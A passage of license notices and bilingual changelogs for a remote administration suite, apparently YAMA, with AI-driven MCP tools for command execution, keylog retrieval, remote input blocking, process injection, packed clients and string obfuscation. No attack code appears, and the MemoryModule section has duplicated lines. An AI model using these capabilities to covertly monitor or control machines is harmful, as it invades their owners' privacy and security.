Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================================================
13. skCrypter (MIT License)
================================================================================
Copyright (c) 2020 skadro
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================================================
14. cpp-httplib v0.14.3 (MIT License)
================================================================================
Copyright (c) 2023 Yuji Hirose. All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================================================
15. tiny-AES-c (The Unlicense)
================================================================================
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
software, either in source code form or as a compiled binary, for any purpose,
commercial or non-commercial, and by any means.
In jurisdictions that recognize copyright laws, the author or authors of this
software dedicate any and all copyright interest in the software to the public
domain. We make this dedication for the benefit of the public at large and to
the detriment of our heirs and successors. We intend this dedication to be an
overt act of relinquishment in perpetuity of all present and future rights to
this software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org/>
================================================================================
16. Go module dependencies (MIT / BSD)
================================================================================
The Go server (server/go, shipped as YAMAGo_x64.exe) depends on the following
modules. Each is distributed under the license noted next to it; the full text
of each license is available in the corresponding module repository.
github.com/golang-jwt/jwt/v5 v5.3.1 MIT
github.com/gorilla/websocket v1.5.3 BSD 2-Clause
github.com/klauspost/compress v1.18.2 BSD 3-Clause
github.com/rs/zerolog v1.34.0 MIT
golang.org/x/sync v0.20.0 BSD 3-Clause
golang.org/x/text v0.32.0 BSD 3-Clause
gopkg.in/natefinch/lumberjack.v2 v2.2.1 MIT
github.com/mattn/go-colorable v0.1.13 MIT (indirect)
github.com/mattn/go-isatty v0.0.19 MIT (indirect)
golang.org/x/sys v0.12.0 BSD 3-Clause (indirect)
MIT License text: see section 7 above.
BSD 2-Clause License text: see section 6 above.
BSD 3-Clause License text: see section 2 above.
================================================================================
17. GoogleTest v1.14.0 (BSD 3-Clause License)
================================================================================
Copyright 2008, Google Inc. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Google Inc. nor the names of its contributors may be
used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
GoogleTest is used only to build and run the unit tests under test/; it is not
shipped with the product.
================================================================================
18. Apache License 2.0 components
================================================================================
The following components are licensed under the Apache License, Version 2.0
(https://www.apache.org/licenses/LICENSE-2.0). A copy of the license is
available at that URL and will be provided on request.
OpenSSL (Linux / macOS builds only)
Copyright (c) 1998-2024 The OpenSSL Project Authors
Used by the Linux/macOS client for TLS (client/TlsChannelLinux.cpp) and
by libsign.a for HMAC. OpenSSL 3.x is Apache-2.0; builds against OpenSSL
1.1.1 or earlier fall under the original OpenSSL/SSLeay license, which is
included with that distribution.
FRP (frpc / frps)
Copyright 2016-2024 fatedier, fatedier@gmail.com, and The FRP Authors
Bundled as Bin/res/frpc.dll and Bin/res/frps.dll.
Version: v0.69.2-0.20260605064132-d58c00d0332c (commit d58c00d0332c).
NOTE: the bundled binaries report a "+dirty" build, i.e. the FRP sources
were modified locally. Apache-2.0 section 4(b) requires modified files to
carry prominent notices stating that they were changed.
ip2region (xdb v4)
Copyright 2019-2024 lionsoul2014 and contributors
Data file: Bin/ip2region_v4.xdb
androidx.core:core-ktx 1.13.1
androidx.appcompat:appcompat 1.7.0
Copyright (C) 2005-2024 The Android Open Source Project
Used by the Android client (Bin/ghost.apk).
Kotlin standard library 2.1.21
Copyright 2010-2024 JetBrains s.r.o. and Kotlin Programming Language
contributors
Used by the Android client (Bin/ghost.apk).
================================================================================
19. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
================================================================================
This software uses libraries from the FFmpeg project (v7.1), licensed under the
GNU Lesser General Public License (LGPL) version 2.1.
FFmpeg is a trademark of Fabrice Bellard, originator of the FFmpeg project.
Our product links to FFmpeg dynamically as a shared library (.dll/.so/.dylib)
and does NOT enable any GPL-licensed plugins (such as x264).
The FFmpeg libraries were built WITHOUT any GPL-licensed components, so the
FFmpeg binaries themselves are covered by LGPL v2.1 and not by the GPL. The
configure line embedded in libavutil is:
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
website (https://ffmpeg.org). If you require the exact build script and build
configuration used by our product to build the FFmpeg binary, please contact
our open-source compliance team.
--toolchain=msvc --arch=x86_64 --target-os=win64 --enable-static
--disable-shared --extra-cflags=-MT --extra-cxxflags=-MT --disable-everything
--disable-all --enable-avcodec --enable-avutil --enable-swresample
--enable-decoder=h264 --enable-decoder=aac --enable-decoder=aac_latm
--enable-decoder=pcm_s16le --enable-decoder=pcm_s16be --enable-decoder=pcm_f32le
--enable-parser=h264 --enable-parser=aac --enable-parser=aac_latm
--disable-iconv --disable-zlib --disable-bzlib --disable-lzma --disable-sdl2
--disable-doc --disable-programs --disable-network --disable-encoders
--disable-muxers --disable-demuxers --disable-filters --disable-devices
--disable-bsfs --disable-debug --enable-small --prefix=./install-win64
Note that this build is DECODE ONLY (--disable-encoders): it provides the
H.264/AAC/PCM decoders used to display remote screens, and contains no
encoder of any kind. The hardware-encoder paths in the client therefore cannot
be satisfied by these libraries, and software H.264 encoding is provided
exclusively by x264 (section 21).
HOW IT IS LINKED: on Windows the FFmpeg libraries (libavcodec, libavutil,
libswresample) are linked STATICALLY into the client and server executables
(see the #pragma comment(lib, "ffmpeg/...") directives in
client/CFFmpegH264Encoder.cpp, client/CFFmpegAV1Encoder.cpp and
server/2015Remote/ScreenSpyDlg.h). No FFmpeg DLL is shipped.
Because the linking is static, LGPL v2.1 section 6 applies: recipients are
entitled to modify FFmpeg and relink it with this product. To satisfy that,
the following are available on request from the author:
- the exact FFmpeg build scripts and configuration used (quoted above);
- the object files of the product sufficient to relink it against a
modified FFmpeg.
To build without FFmpeg entirely, set DISABLE_FFMPEG_FOR_TEST to 1 in
common/config.h; the encoder implementations and the FFmpeg include paths are
then removed from the build, and the compress/ffmpeg/ directory is no longer
needed at all.
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
website (https://ffmpeg.org).
================================================================================
10. MemoryModule (Mozilla Public License v2.0)
20. MemoryModule (Mozilla Public License v2.0)
================================================================================
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
If a copy of the MPL was not distributed with this file, You can obtain one at
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
If a copy of the MPL was not distributed with this file, You can obtain one at
http://mozilla.org/MPL/2.0/.
MemoryModule is Copyright (c) Joachim Bauch.
Under the terms of the MPL 2.0, you may distribute this component as part of
your commercial/proprietary application without being required to open-source
Under the terms of the MPL 2.0, you may distribute this component as part of
your commercial/proprietary application without being required to open-source
your own proprietary code, provided that:
1. MemoryModule source files remain unmodified, or if modified, those modifications
1. MemoryModule source files remain unmodified, or if modified, those modifications
are made available under the MPL 2.0.
2. Users are informed that MemoryModule is used and where they can find its source.
2. Users are informed that MemoryModule is used and where they can find its source.
================================================================================
21. x264 v0.164.3194 (GNU General Public License v2.0)
================================================================================
The Windows build links libx264 statically for software H.264 encoding, used as
the CPU fallback when hardware encoders are unavailable (see
client/X264Encoder.cpp, client/EncoderFactory.h).
x264 is Copyright (C) 2003-2024 x264 project (Laurent Aimar, Loren Merritt,
Fiona Glaser, Jason Garrett-Glaser, Steven Walters and contributors) and is
licensed under the GNU General Public License version 2.0, not the LGPL.
Commercial licenses for x264 are available from x264 LLC
(https://www.x264licensing.com).
CONSEQUENCE: a binary that statically links x264 is, as a whole, a work
covered by the GPL v2.0 and must be distributed under GPL v2.0 terms
(accompanying complete corresponding source code, or a written offer valid for
three years), unless it is covered by a commercial x264 license.
To build without x264, set DISABLE_X264_FOR_TEST to 1 in common/config.h. The
x264 header is then no longer included and libx264 is no longer linked, so a
compliant build needs neither the x264 library nor its headers; the
compress/x264/ directory can be deleted outright.
IMPORTANT CONSEQUENCE: because the bundled FFmpeg is a decode-only build (see
section 19), x264 is the ONLY H.264 encoder in the product. A build with
DISABLE_X264_FOR_TEST=1 therefore has no H.264 encoder at all, and the client
falls back to raw RGB565 frames (client/ScreenCapture.h). Keeping H.264 while
staying GPL-free requires replacing x264 with an LGPL-compatible or licensed
encoder, or obtaining a commercial x264 license.
The text of the GPL v2.0 is available at https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
and is provided with any binary that includes x264.
================================================================================
22. QQWry / 纯真 IP database (custom terms)
================================================================================
Bin/qqwry.dat is the QQWry (纯真) IP geolocation database, published by
cz88.net (https://www.cz88.net/). It is not open source and is not covered by
any of the licenses above. The publisher's terms permit free use for
non-commercial purposes; redistribution inside a commercial product requires
the publisher's permission.
The product does not require this file. IP geolocation is selected at runtime
by the settings key settings/IPLocType: 1 uses qqwry.dat, 2 uses the ip2region
database (Bin/ip2region_v4.xdb, Apache-2.0). If the selected database cannot be
loaded, the server logs "IP数据库加载: failed" and falls back to a built-in
converter that returns no location, so shipping without qqwry.dat is supported
as long as IPLocType is set to 2.
================================================================================
END OF NOTICES
================================================================================
+114
View File
@@ -378,6 +378,120 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志
### v1.4.2 (2026.10.31)
**MCP 运维套件 & WebSocket 传输 & 抓屏健壮性**
**新功能:**
- **MCP 工具集 27 → 60**:新增主机 / 连接 / 服务 / 计划任务管理(16 个,写操作执行前后复核,受 McpMachine / McpMachineDangerous 双开关)、远程交谈(4 个,McpChat)、文件系统写操作 delete_path / move_path / create_folder(McpFileWrite)、remote_block_input(带截止时间与看门狗)、copy_files_c2c(客户端间直传,服务端只中继)、search_file、get_server_status、get_keylog 扩展、mcp_list_sessions / mcp_cancel_session;离线主机查询、批量只读调用(ids ≤ 50)、列表过滤器与分页
- **MCP 协议**:initialize instructions、能力上报(platform / remoteControl / fileTransferV2 / c2cPaths / registry 等)、工具注解(readOnly / destructive / idempotent / openWorld)、结构化结果二次文本块、通知取消(-32800)与 progress 进度、dry-run 预演、客户端结构化失败令牌(170–173:失败与空结果可区分)、错误码收敛(参数错误 -32012、写入失败 -32011)、超时经 `McpToolTimeoutMs` 可调
- **MCP 端点**:内置 HTTPS(Schannel 同端口按首字节嗅探,RSA / ECDSA、支持 fullchain、不可用时 fail-closed)、请求体 2 MB 上限、Bearer 失败按源 IP 限流(1 分钟 10 次封 15 分钟)、`logs\mcp_audit.log` 审计
- **WebSocket 传输**:新增 PROTO_WS(5) / PROTO_WSS(6),升级路径 `/api/ws`,仅放行 80/443 的网络也能接入;MFC 与 Go 服务端同一设备端口三路嗅探(明文 / TLS / WS);在线列表右键「协议切换」把已在线客户端在 直连 TCP / WS / WSS 之间远程切换(COMMAND_SET_PROTO 177,WSS 下发反代信任锚,5 分钟未登录自动回退)
- **Windows 抓屏健壮性**:旋转显示器按真实纹理描述分配并直立图像(原首屏与每帧全黑)、DXGI 无帧自动切 GDI(无头 / Session 0)、工作站锁定与断开会话直接选 GDI(避免初始化卡死)、探测帧保留以便静态桌面首帧即出图、发送尺寸改为长边 ≤1920 / 短边 ≤1080 等比缩放
- **Web 控制台**:非控制模式显示真实远端光标(形状变化即时、位置 ≤50 ms/次);iOS 幽灵竖线(画布固定 + `ctx.setTransform` 绘制);竖屏输入法下指针与画面错位(覆盖层与画布同包含块、坐标用画布局部像素);输入条固定在画面下沿不再随键盘跳动;Go 端滚轮小数 delta 导致彻底失灵
- **Linux / macOS 客户端能力补齐**:MCP 一级工具(kill_process / exec_command / 终端 / 远控 / 剪贴板)支持 Linux、文件上传下载与 C2C 目标支持 POSIX、Linux 远程升级(COMMAND_UPDATE 校验 + 原子替换 + execv 回滚)、TLS 切换立即生效、屏幕预览(服务端统一转 JPEG)、桌面 / 下载 / 主目录快捷方式按 `user-dirs.dirs` 展开、运行时长按北京时间换算
- **客户端与主控**:在线列表右键「复制名称」、高级菜单与免责声明补 16×16 图标、SOCKS5 代理映射移除 HP-Socket 依赖并重写(阻塞 socket + select、仅绑回环、SOCKS5 握手按字节流解析、按主连接队列背压、30 秒握手看门狗)
**改进:**
- 依赖清单扩充至 23 项 / LICENSE-THIRD-PARTY 至 657 行(10 类许可证、33 项组件),并更正 x264(GPL-2.0 静态链接)、FFmpeg(静态链接、仅解码)、FRP(本地修改)三处
- `DISABLE_X264_FOR_TEST` 真正生效(此前既没前置 config.h 也仍引用 x264 类型),libyuv 从该开关解绑
- `build.ps1` 按 `atlmfc` 库存在与否挑选 MSBuild 实例(修复挑到无 ATL 的 BuildTools 时 `LNK1104 atls.lib`)
- 协议切换、SOCKS5 会话日志、复制名称、MCP 新开关等字符串补齐 en_US / zh_TW / de_DE
**Bug 修复:**
- 主控重启后客户端重连空转(一秒 919 行重复日志刷爆环形缓冲)
- 右键菜单作用于错误主机(虚拟列表行号在菜单模态循环期间被排序 / 下线挪动)
- 构建对话框默认协议错位(`CBS_SORT` + `AddString` 致 `SetCurSel(0)` 落在 HTTP)
- 在线列表表头偶发闪烁(缺 `WS_CLIPCHILDREN`,改为只擦最后一列右侧空带)
- 加壳客户端收不到即时消息 / 远程交谈对话框创建失败(资源段为空,改内嵌模板)、非 936 系统标题与正文乱码、多显示器居中偏移、窗口与线程泄漏
- 键盘记录饿死快捷键转发(钩子线程不泵消息被系统摘除)
- 锁定聊天时 Win 键不转发(未 `CallNextHookEx` 挡住后续钩子)
- 聊天消息以 e 开头被丢弃(首个字节 101 被心跳守卫吞掉)
- 文件搜索栈溢出(`wsprintf` 无界拼 MAX_PATH,深目录必崩)
- 空目录下载超时;文件传输会话子连接悬空指针(超时后 `CancelIO` 到已回收连接)
- 连接列表地址反序(`192.168.0.55` → `55.0.168.192`)与宽窄字符格式化塌缩
- macOS 合盖外接屏鼠标偏移(取被抓显示器的 `CGDisplayBounds`,另加按主机保存的校准)
- 任务与机器管理一批缺陷(计划任务命令组装、解冻只恢复一个线程、窗口列表空指针、服务枚举句柄泄漏、删除进程 PID 判断与句柄、IE 历史时间戳翻转等)
### v1.4.1 (2026.10.20)
**Web 运维控制台 & 安全加固 & 单向 TLS**
**新功能:**
- **Web 屏幕墙**:同一标签页以 1×1 ~ 5×5 布局同时监控多台设备,桌面 9 路 / 触控 4 路实时解码,超出预算暂停并自动晋升;点击 tile 进入单画面控制;同一设备可重复添加并共享一路流;MFC 与 Go 服务端同步支持(旧前端 / 旧服务端自动降级)
- **安全审计日志**:登录 / 授权拒绝 / WS 生命周期 / 屏幕与终端会话 / 剪贴板(仅字节数)/ 设备认证 / 管理变更;Go 端持久化 `logs/audit.log`,MFC 端保留最近 1000 条内存环形缓冲;Web 新增审计日志查询页(时间 / 事件 / 操作者 / IP / 设备 / 关键字 / 告警过滤 + 分页)
- **离线设备历史(Go)**:`devices.json` 持久化所有登录过的设备,设备列表可按需显示离线记录;管理员可删除记录或对在线设备执行远程卸载
- **单向 TLS 传输**:设备端口同一端口嗅探 ClientHello,TLS 1.2 客户端加密、旧明文客户端不受影响;MFC「扩展 > TLS证书」运行时配置;在线列表新增 TLS 列,右键可远程启用 / 取消(客户端下次启动生效)
- **Web 远程桌面增强**:Ctrl+C/X/V 双向文本剪贴板同步、手机「I」输入框(经剪贴板桥注入)、登录会话跨标签页共享、管理员 SSO 桥接
- **客户端安装位置选择**:ProgramData / ProgramFiles - Admin / SystemRoot - Admin / APPDATA / LOCALAPPDATA
- **Go Web UI 白标**:`YAMA_WEB_BRAND_NAME` 替换产品名并移除安全提示与外链
- **安全加固**:每 IP 连接与登录限流、单连接入站缓冲上限、屏幕 / 终端子连接绑定源 IP、可选 ConnAuth HMAC 校验
- **克隆机 ID 去重**:V2 `client_id` 折叠主机名,撞 ID 时服务端下发 `COMMAND_REGEN_CLIENT_ID` 让客户端重算重连
**改进:**
- 文件传输速度改由 MasterSettings 下发(修复重复弹窗),传输对话框标题实时显示速度
- 客户端聊天关闭仅隐藏;日志右键新增白名单;MCP 勾选即时刷新;Web 原生 alert/confirm 全部替换为主题化应用内对话框
- 非中文系统统一按 GBK / UTF-8 解码(对话框 / 进程列表 / 文件列表 / 路径 / 地理位置 / 主机管理 / 剪贴板)
**Bug 修复:**
- 共享 / 转移主机后重启主控不重连;分享 / 转移权限误判
- 已过期授权续期从今天起算,提示与日志显示实际到期日
- V2 上传快捷目录未展开 `%USERPROFILE%`;无摄像头主机发送 0×0 画面信息;列切换残留像素;Go 设备端口日志刷屏;审计页最小化后跳回设备页
### v1.4.0 (2026.10.7)
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
**新功能:**
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,经 MasterSettings 下发)
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
**改进:**
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
**Bug 修复:**
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
- 即时消息弹窗标题乱码(GBK code_page 声明)
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
### v1.3.9 (2026.9.2)
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
**新功能:**
- **MCP 服务端集成**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口,Bearer Token 鉴权,「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token;23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路,默认关闭、分级开关(只读 / 白名单 / 终端 / 远程控制 / 文件传输)全面审计
- **MCP 观测类工具(只读)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可选 max_width)、list_services、get_client_log、list_registry、get_audit_log;单飞请求注册表 20s 超时 + 编码修正(clientType / clientID 定位)
- **MCP 远程终端工具**:exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端(cwd / 环境保留,空闲 300s 清扫),哨兵判定与 timeout_ms 解析修复
- **MCP 远程控制工具**:remote_open / remote_close 会话 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;与人工 Web 查看双向互斥,会话状态机 busy / closed 加固
- **MCP 文件传输工具**:download_file(V2 协议 + SHA-256 校验)、upload_file(主连接上传),客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
- **客户端活动历史**:记录活跃窗口历史(上限 500 条、跳过 <5s),主机「客户端管理」子菜单新增「活动历史」对话框,Unicode 编辑控件正确渲染 UTF-8 标题
- **日志右键菜单三连**:消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」,IPv4 提取即时生效
- **列表排序记忆**:主机列表、进程 / 窗口列表排序偏好持久化(`list\*Sort` 注册表键),下次启动默认沿用
**改进:**
- 重复连接 standby 处理:重复登录暂存 standby 待旧连接超时 / 断线后晋升,避免循环重连与误报离线
- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP(无备注回退 IP)
- 主机列表三态排序(升序 → 降序 → 恢复默认,默认序按在线时间重建)
- 在线主机右键三个菜单项新增图标(位图数组 63→66)
**Bug 修复:**
- 客户端屏幕控制批解析错误:记录数是 7 的倍数时误判 MSG32 致注入错乱(`%48==0` 优先)
- 心跳延迟更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 显式截断
- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库(权限列移至 16)
- 远程桌面光标跨对话框污染(改 `OnSetCursor` 逐窗口路由)
- 客户端日志对话框 EDIT 上限停止刷新(`SetLimitText(0)`)
- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
### v1.3.8 (2026.8.3)
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
+114
View File
@@ -378,6 +378,120 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog
### v1.4.2 (2026.10.31)
**MCP operations suite & WebSocket transport & capture robustness**
**New features:**
- **MCP tool count grew from 27 to 60**: host / connection / service / scheduled-task management (16 tools, writes re-read state before and re-verify after, gated by both McpMachine and McpMachineDangerous), remote chat (4 tools, McpChat), filesystem writes delete_path / move_path / create_folder (McpFileWrite), remote_block_input (with a deadline and a watchdog), copy_files_c2c (client-to-client delivery relayed without touching server disk), search_file, an extended get_keylog, get_server_status, mcp_list_sessions / mcp_cancel_session; offline-host queries, batched read-only calls (ids up to 50), list filters and paging
- **MCP protocol**: initialize instructions, capability reporting (platform / remoteControl / fileTransferV2 / c2cPaths / registry and more), tool annotations (readOnly / destructive / idempotent / openWorld), a second text block carrying the structured result, notification-based cancellation (-32800) and progress, dry-run previews, structured client failure tokens (170-173, so failure is distinguishable from an empty result), consolidated error codes (parameter errors -32012, write failures -32011), and a tunable timeout via `McpToolTimeoutMs`
- **MCP endpoint**: built-in HTTPS (Schannel sniffing on the same port, RSA / ECDSA, fullchain support, fail-closed when the certificate is unusable), a 2 MB request-body cap, per-source-IP rate limiting of Bearer failures (10 in a minute blocks for 15 minutes), and an audit trail in `logs\mcp_audit.log`
- **WebSocket transport**: new PROTO_WS(5) / PROTO_WSS(6) with upgrade path `/api/ws`, so clients on networks that only allow 80/443 can connect; both MFC and Go servers sniff plaintext / TLS / WS on the same device port; a new "Protocol switch" context-menu action moves an already-online client between direct TCP / WS / WSS (COMMAND_SET_PROTO 177, WSS carries the reverse-proxy trust anchor, automatic rollback if login does not succeed within 5 minutes)
- **Windows capture robustness**: rotated displays allocate by the real texture description and orient the image (previously fully black first and every frame), DXGI falls back to GDI when no frame arrives (headless / Session 0), locked workstations and disconnected sessions select GDI up front (avoiding a stuck initialisation), the probe frame is kept so a static desktop paints on first connect, and the send size is scaled proportionally to long edge <= 1920 / short edge <= 1080
- **Web console**: the real remote cursor is shown outside control mode (shape changes immediately, position at most every 50 ms); iOS ghost vertical lines (canvas pinned, drawn with `ctx.setTransform`); pointer misalignment with the IME open in portrait (overlay shares the canvas containing block and uses canvas-local pixels); the input bar sits at the bottom of the picture instead of following the keyboard; fractional wheel deltas on the Go server no longer break scrolling entirely
- **Linux / macOS client parity**: MCP tier-one tools (kill_process / exec_command / terminal / remote control / clipboard) now accept Linux hosts; upload, download and C2C targets support POSIX paths; Linux remote upgrade (COMMAND_UPDATE with verification, atomic replace and execv rollback); TLS switches take effect immediately; screen preview (the server converts to JPEG in one place); Desktop / Downloads / Home shortcuts expand through `user-dirs.dirs`; uptime is converted from Beijing time
- **Client and master**: "Copy name" in the online-list context menu; 16x16 icons for the advanced menu and the disclaimer item; the SOCKS5 proxy mapping drops the HP-Socket dependency and is rewritten (blocking socket + select, byte-level SOCKS5 parsing, back-pressure against the master send queue, 30-second handshake watchdog)
**Improvements:**
- The dependency inventory grew to 23 items and LICENSE-THIRD-PARTY to 657 lines (10 license classes, 33 components), with corrections for x264 (GPL-2.0, statically linked), FFmpeg (static, decoders only) and FRP (locally modified)
- `DISABLE_X264_FOR_TEST` now actually works (config.h was not included first and the class still referenced x264 types), and libyuv is no longer tied to that switch
- `build.ps1` picks the MSBuild instance that has the `atlmfc` libraries, fixing `LNK1104 atls.lib` when a BuildTools install without ATL was chosen first
- Strings added by protocol switching, SOCKS5 session logging, "Copy name" and the new MCP switches are translated in en_US / zh_TW / de_DE
**Bug fixes:**
- Clients spun in a reconnect loop after a master restart (919 identical log lines per second flushed the 1000-line ring buffer)
- The context menu could act on the wrong host (virtual-list row indices shift while the menu's modal loop keeps dispatching timers)
- The build dialog defaulted to the wrong protocol (`CBS_SORT` plus `AddString` made `SetCurSel(0)` land on HTTP)
- Occasional header flicker in the online list (missing `WS_CLIPCHILDREN`; erasure now limited to the empty band right of the last column)
- Packed clients never showed instant messages / could not create the chat dialog (empty resource section, now an embedded template), with garbled titles and text on non-936 systems, off-centre placement on multi-monitor hosts, and window and thread leaks
